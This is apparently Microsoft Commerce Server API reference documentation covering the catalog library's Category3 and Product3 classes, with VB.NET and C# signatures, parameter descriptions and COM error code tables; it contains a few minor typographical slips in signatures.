DescendantProducts | ADODB26Lib._Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | ADODB26Lib._Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.


Category3.AncestorCategories Property (PIA)

The AncestorCategories property is a read-only Recordset object that contains the names of categories that exist anywhere above this category in the hierarchy

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib    ‘ for _Recordset
…
Public Property AncestorCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset AncestorCategories {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the ancestor categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[Visual Basic .NET] The AncestorCategories property is a Recordset object with a 128-character field, named Name. This Recordset object also contains a 128-character string column called DisplayName that contains the display name of the category in the language of the category object.

[C#] The AncestorCategories property is an ADODB26Lib._Recordset interface to a Recordset object with a 128-character field, named Name. This Recordset object also contains a 128-character string column called DisplayName that contains the display name of the category in the language of the category object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.ParentCategories

Category3.ChildCategories


Category3.CatalogName Property (PIA)

The CatalogName property is a read-only String that contains the name of the catalog within which this category exists.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property CatalogName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CatalogName {get;}

Property Value

A string used to return the catalog name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Remarks

[Visual Basic .NET] The CatalogName property contains valid data only if the property is accessed successfully.

[C#] The CatalogName property contains valid data only if the property is accessed successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.CategoryName Property (PIA)

The CategoryName property is a read-only String that contains the name of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property CategoryName As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string CategoryName {get;}

Property Values

A string used to return the category name.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid.
E_OUTOFMEMORY | [C#] 0x8007000E [Visual Basic .NET] &H8007000E | Ran out of memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.ChildCategories Property (PIA)

The ChildCategories property is a read-only Recordset object that contains the names of categories that exist below this category in the hierarchy.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property ChildCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CategoryName {get;}

Parameters

[C#]

An ADODB26Lib._Recordset interface to a Recordset object used to return the child categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

The ChildCategories property contains valid data only if the property is accessed successfully.

The ChildCategories recordset contains a row for each of the categories that are currently children of this category. The following table lists the fields for the ChildCategories recordset.

Field Data type Description
CategoryName String
maximum of 128 characters 		The name of the category.
DefinitionName String
maximum of 128 characters 		The name of the definition.
CatalogName String
maximum of 128 characters 		The name of the catalog that contains the category.
DisplayName String
maximum of 128 characters 		The display name of the category.

If this category has no children, an empty recordset is returned whose EOF property is set to true. Your code should check the value of this property to determine if child categories exist.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.ParentCategories

Category3.AncestorCategories


Category3.DescendantProducts Property (PIA)

The DescendantProducts property is a read-only Recordset object that contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property DescendantProducts(
  Optional eClassTypeRequired As Object,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Integer
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_DescendantProducts(
  object eClassTypeRequired,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
lStartingRecord
An Object that contains the starting record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Integer used to return the total number of records in the query.
[C#]
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section. Set to Type.Missing in order to not specify a catalog class.
lStartingRecord
An object that contains the starting record. Set to Type.Missing in order to not specify a starting record.
lRecordsToRetrieve
An object that contains the number of records to retrieve. Set to Type.Missing in order to not specify the number or records to retrieve.
plTotalRecordsInQuery
An object used to return the total number of records in the query. Set the object to Type.Missing if the return value is not needed.
DescendantProducts
A _Recordset interface to the Recordset object used to return the descendant products.

Return Values

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the descendant products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C#]

The DescendantProducts parameter contains valid data only if the property is accessed successfully.

get_DescendantProducts does not show up in IntelliSense.

This property gets all the products that are directly or indirectly under this category.

The returned recordset contains all the fields in the CatalogProduct Recordset.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.RelatedProducts

Category3.Products


Category3.GetCategoryProperties Property (PIA)

The GetCategoryProperties property is a read-only recordset that contains the properties for this category. Both the properties that are present in the definition of this category and the built-in properties are returned.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property GetCategoryProperties As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset GetCategoryProperties {get;}
[C#]

Property Value

A _Recordset interface to a Recordset object containing the category properties.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.

Remarks

[Visual Basic .NET] The GetCategoryProperties property contains valid data only if the property is accessed successfully.

The returned Recordset contains all the common fields in the CatalogProduct Recordset. It also contains all the fields that are in the product definitions for the category. The ProductID field (the unique product identifier) is returned even if it is not part of a product definition.

The returned Recordset is updateable, but disconnected. If this category has been deleted from the database, this property throws a COMException. For categories created in virtual catalogs, the category name returned in the Recordset will not contain the appended catalog name.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.SetCategoryProperties


Category3.ParentCategories Property (PIA)

The ParentCategories property is a read-only recordset that contains the names of the parent categories of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Property ParentCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset ParentCategories {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object containing the parent categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[Visual Basic .NET]

The ParentCategories property contains valid data only if the property is accessed successfully.

The ParentCategories property contains the names of the categories that are parent categories of this category. The recordset returned contains a 128-character string column, called Name, and one row for each parent that exists.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
Name String
Maximum of 128 characters 		Name of the parent category.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FVirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited(value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

If this category is a root category, it has no parent categories, and an empty recordset is returned whose EOF property is set to VARIANT_TRUE.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AncestorCategories

Category3.ChildCategories


Category3.PrimaryParent Property (PIA)

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Property PrimaryParent() As String
[C#]
Imports Microsoft.CommerceServer.Interop.Catalog;
…
Public string PrimaryParent {get; set;}

Property Value

A string containing the primary parent category name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C#] 0x889800AC [Visual Basic .NET] &H889800AC | The primary parent category that you specified does not exist
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category has to be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.Products Property (PIA)

The Products property is a read-only recordset that contains product data for all of the products that exist directly within this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Property Products(
  Optional eClassTypeRequired As Object,
  Optional strPropertyToSortOn As Object,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Integer
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset get_Products(
  object eClassTypeRequired,
  object strPropertyToSortOn,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section.
strPropertyToSortOn
An Object that contains the property to sort on.
lStartingRecord
An Object that contains the starting record number.
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Integer used to return the total number of records in the query.
[C#]
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration. For more information, see the Remarks section. Set to Type.Missing in order to not specify a catalog class.
strPropertyToSortOn
An object that contains the property to sort on. Set to Type.Missing in order to not specify a property to sort on.
lStartingRecord
An object that contains the starting record number. Set to Type.Missing in order to not specify a starting record.
plRecordsToRetrieve
An object that contains the number of records to retrieve. Set to Type.Missing in order to not specify the number or records to retrieve.
[C#]

Return Values

This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

[C#]

get_Products does not show up in IntelliSense.

If the properties specified in strPropertyToSortOn parameter are invalid then the recordset will be unsorted.

Note

  • If the value of cscCategoryClass is specified for the eClassTypeRequired parameter, the returned recordset will contain all the products and all the child categories in this category.

The Products property contains the product data for all the products in this category.

The returned Recordset contains all the fields in the CatalogProduct Recordset.

If this category contains no products, then the Products property returns an empty Recordset whose EOF property is set to true.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.DescendantProducts

Category3.RelatedProducts


Category3.RelatedCategories Property (PIA)

The RelatedCategories property is a read-only recordset that contains all categories related to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Property RelatedCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset RelatedCategories {get;}
[C#]

Property Value

An ADODB26Lib._Recordset interface to a Recordset object used to return the related categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The RelatedCategories parameter contains valid data only if the property is accessed successfully.

The RelatedCategories property contains information on all the relationships this category has to other categories. The Recordset returned contains one row for each relationship present.

The returned Recordset contains the following fields:

Field Data Type Description
CategoryName String
maximum of 128 characters 		The name of the category.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AncestorCategories

Category3.ChildCategories

Category3.ParentCategories

Category3.AddRelationshipToCategory

Category3.RemoveRelationshipToCategory


Category3.RelatedProducts Property (PIA)

The RelatedProducts property is a read-only recordset containing information about all products related to this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Import ADODB26Lib     ‘ for _Recordset
…
Public Property RelatedProducts As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset RelatedProducts{ get;}
[C#]

Property Values

An ADODB26Lib._Recordset interface to a Recordset object containing the related products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The Recordset returned contains one row for each relationship present.

The following table shows the fields in the returned Recordset.

Field | Data Type | Description
<defined ProductID field> | Varies | The unique product identifier, defined during catalog creation.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.DescendantProducts

Category3.Products

Category3.AddRelationshipToProduct

Category3.RemoveRelationshipToProduct


Product3 Class (PIA)

Use this object to work with products and variants in a catalog.

Methods

Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetProductProperties | Sets the properties for this product and all its variants.
SetVariantProperties | Sets the properties for variants of this product.

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | ADODB26Lib._Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | ADODB26Lib._Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | String | Contains the unique identifier for this product. This property is read-only.
RelatedCategories | ADODB26Lib._Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | ADODB26Lib._Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | ADODB26Lib._Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.

Remarks

The Product object is a dependent object. Obtain a pointer to the IProduct interface by calling one of the following methods:

  • ProductCatalog.CreateProduct
  • ProductCatalog.GetProduct

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)


Product3 Methods (PIA)

Methods

Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetProductProperties | Sets the properties for this product and all its variants.
SetVariantProperties | Sets the properties for variants of this product.


Product3.AddRelationshipToCategory Method (PIA)

Use this method to add a relationship to a specified category in the specified catalog from this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object,
  strTargetCatalogNameStack As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName,
  object strRelationshipDescription,
  string strTargetCatalogNameStack
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName
A String that contains a name for the relationship.
strRelationshipDescription
An Object that optionally contains a description for the relationship.
strTargetCatalogNameStack
A String that contains the name of the catalog that contains the category specified in strRelatedCategoryName.
[C#]
strRelatedCategoryName
A string that contains the name of the category to which a relationship is to be added.
strRelationshipName
A string that contains a name for the relationship.
strRelationshipDescription
An object that optionally contains a description for the relationship. Set to Type.Missing to omit a description.
strTargetCatalogNameStack
A string that contains the name of the catalog that contains the category specified in strRelatedCategoryName.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog's included relationships cannot be directly edited. They can only be edited in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you can specify in the strRelationshipDescription parameter.

More than one relationship may be created between the same product and category, however in this case each relationship created must be given a unique name.

[Visual Basic .NET]

Example

'vDesc is an Object of subtype String containing the description.
myProduct.AddRelationshipToCategory ("Apparel", "Accessory", vDesc)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.AddRelationshipToProduct

Product3.RemoveRelationshipToCategory


Product3.AddRelationshipToProduct Method (PIA)

Use this method to add a relationship from this product to a specified product in the specified catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object
  strTargetCatalogNameStack As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  object strRelationshipDescription,
  string strTargetCatalogNameStack
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the ID of the related product.
strRelationshipName
A String that contains the name of the relationship.
strRelationshipDescription
An Object that optionally contains a description for the relationship.
strTargetCatalogNameStack
A String that contains the name of the catalog that contains the category specified in varRelatedProductID.
[C#]
varRelatedProductID
An object that contains the ID of the related product.
strRelationshipName
A string that contains the name of the relationship.
strRelationshipDescription
An object that optionally contains a description for the relationship. Set to Type.Missing to omit a description.
strTargetCatalogNameStack
A string that contains the name of the catalog that contains the category specified in varRelatedProductID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &Hx8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the productID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &Hx8898004E | The value you specified for the productID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
